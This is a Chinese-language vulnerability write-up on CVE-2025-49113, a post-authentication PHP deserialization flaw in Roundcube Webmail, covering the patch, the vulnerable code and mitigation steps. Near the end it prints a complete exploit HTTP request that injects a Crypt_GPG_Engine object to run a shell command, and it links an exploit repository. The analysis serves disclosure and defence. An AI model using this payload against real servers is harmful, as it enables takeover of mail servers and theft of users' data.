Roundcube高危RCE漏洞:PHP反序列化导致的远程代码执行

本文详细分析了CVE-2025-49113漏洞,该漏洞存在于Roundcube Webmail中,允许认证用户通过PHP对象反序列化缺陷实现远程代码执行,CVSS评分高达9.9分,影响版本包括1.5.10之前和1.6.0-1.6.10。

CVE-2025-49113 – Roundcube中通过PHP对象反序列化实现认证后远程代码执行

概述

在Roundcube Webmail(版本<1.5.10和1.6.0–1.6.10)中发现了一个严重漏洞,允许认证用户通过PHP对象反序列化缺陷执行远程代码。该漏洞由program/actions/settings/upload.php中_from参数的不当验证触发,CVSS 3.1评分为9.9(严重)。

CVE ID: CVE-2025-49113
严重程度: 严重
CVSS评分: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
EPSS评分: 0.00661
EPSS百分位: 70%(可能被利用)
发布日期: 2025年6月1日
受影响版本: 所有1.5.10之前版本,1.6.11之前版本
已修复版本: 1.5.10, 1.6.11

技术分析

Roundcube团队在版本1.6.11中引入了修复补丁:
https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

添加了对_from参数的清理,防止其包含无效字符(如.、-等):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Validate URL input.
if (!rcube_utils::is_simple_string($type)) {
    rcmail::write_log('errors', 'The URL parameter "_from" contains disallowed characters and the request is thus rejected.');
    $rcmail->output->command('display_message', 'Invalid input', 'error');
    $rcmail->output->send('iframe');
}

public static function is_simple_string($input)
{
    return is_string($input) && !!preg_match('/^[\w.-]+$/i', $input);
}

我们可以使用易受攻击的版本1.6.10来查找漏洞点:
https://github.com/roundcube/roundcubemail/blob/1.6.10/

文件program/actions/settings/upload.php包含以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type   = preg_replace('/(add|edit)-/', '', $from);

// Plugins in Settings may use this file for some uploads (#5694)
// Make sure it does not contain a dot, which is a special character
// when using rcube_session::append() below
$type = str_replace('.', '-', $type);

if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
    $id = $attachment['id'];

    // store new file in session
    unset($attachment['status'], $attachment['abort']);
    $rcmail->session->append($type . '.files', $id, $attachment);

用户控制的参数_from被赋值给$from变量。$from随后用于从字符串中移除add-或edit-前缀。$type随后用于将文件附加到会话:

1
$rcmail->session->append($type . '.files', $id, $attachment);

rcube_session的append方法如果会话在最后0.5秒内未重新加载,则会调用reload()方法:

1
2
3
4
5
6
7
8
public function append($path, $key, $value)
{
    // re-read session data from DB because it might be outdated
    if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
        $this->reload();
        $this->reloaded = true;
        $this->start = microtime(true);
    }

reload方法调用session_decode,最终通过执行$_SESSION = array_merge_recursive($_SESSION, $merge_data);将附加数据添加到会话:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public function reload()
{
    // collect updated data from previous appends
    $merge_data = [];
    foreach ((array) $this->appends as $var) {
        $path = explode('.', $var);
        $value = $this->get_node($path, $_SESSION);
        $k = array_pop($path);
        $node = &$this->get_node($path, $merge_data);
        $node[$k] = $value;
    }

    if ($this->key) {
        $data = $this->read($this->key);
    }

    if (!empty($data)) {
        session_decode($data);

        // apply appends and unsets to reloaded data
        $_SESSION = array_merge_recursive($_SESSION, $merge_data);

Roundcube中有自定义的serialize和unserialize函数重写,这使得利用更加困难:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/**
 * Serialize session data
 */
protected function serialize($vars)
{
    $data = '';

    if (is_array($vars)) {
        foreach ($vars as $var => $value) {
            $data .= $var . '|' . serialize($value);
        }
    } else {
        $data = 'b:0;';
    }

    return $data;
}

序列化对象在会话中被|字符分割。Unserialize函数错误处理!字符,导致会话损坏:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
 * Unserialize session data
 * https://www.php.net/manual/en/function.session-decode.php#56106
 *
 * @param string $str Serialized data string
 *
 * @return array|false Unserialized data
 */
public static function unserialize($str)
{
    $str = (string) $str;
    $endptr = strlen($str);
    $p = 0;

    $serialized = '';
    $items = 0;
    $level = 0;

    while ($p < $endptr) {
        $q = $p;
        while ($str[$q] != '|') {
            if (++$q >= $endptr) {
                break 2;
            }
        }

        if ($str[$p] == '!') {
            $p++;
            $has_value = false;
        } else {
            $has_value = true;
        }

网络安全研究员Kirill Firsov发现了这个漏洞,并在他的博客中解释了如何发现和利用该漏洞。

利用步骤

利用此漏洞并不容易。需要自定义PHP对象反序列化并将有效负载放入两个不同的参数_from和filename中。

可以使用Crypt_GPG_Engine类来构建对象反序列化小工具。该类的私有成员_gpgconf在proc_open函数中使用,因此可以更新它以执行攻击者控制的命令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private function _closeIdleAgents()
{
    // Note: We check that this binary is executable again for security reasons
    if ($this->_gpgconf && is_executable($this->_gpgconf)) {
        // before 2.1.13 --homedir wasn't supported, use env variable
        $env = ['GNUPGHOME' => $this->_homedir];
        $cmd = $this->_gpgconf . ' --kill gpg-agent';

        if ($process = proc_open($cmd, [], $pipes, null, $env)) {
            proc_close($process);
        }
    }
}

class Crypt_GPG_Engine{
    private $_gpgconf;
    
    function __construct($cmd){
        $this->_gpgconf = $cmd;
    }
}

利用脚本可以在GitHub仓库中找到:https://github.com/fearsoff-org/CVE-2025-49113

根据Kirill的描述,最终结果如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /?_from=edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:18:"touch+/tmp/pwned;#";}i:0;b:0;}";}}&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1
Host: roundcube.local
X-Requested-With: XMLHttpRequest
Accept-Encoding: identity
Content-Length: 242

-----------------------------WebKitFormBoundary
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:179:\"a:3:{i:0;s:57:\".png"
Content-Type: image/png

IMAGE
----------------------------- WebKitFormBoundary--

影响

远程代码执行:认证用户可能能够在Web服务器级别执行系统命令。
完全系统妥协:由于攻击者代码在Web服务器下运行,访问可能扩展到数据库、邮箱和文件系统。
高利用率:CVSS 9.9和EPSS超过70百分位,这使其成为2025年最严重的漏洞之一。

缓解和修复

立即升级

  • 检查您的Roundcube版本:版本1.5.9或更早,以及1.6.0–1.6.10易受攻击。
  • 立即升级到1.5.10或1.6.11。

审计日志和文件上传

  • 监控异常上传,特别是针对_from参数的模式。

分段和最小权限

  • 在有限权限下运行Webmail,避免直接暴露在互联网上。

修补捆绑安装

  • 供应商提供的版本(cPanel、Plesk)可能不会自动更新–手动验证和应用补丁。

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计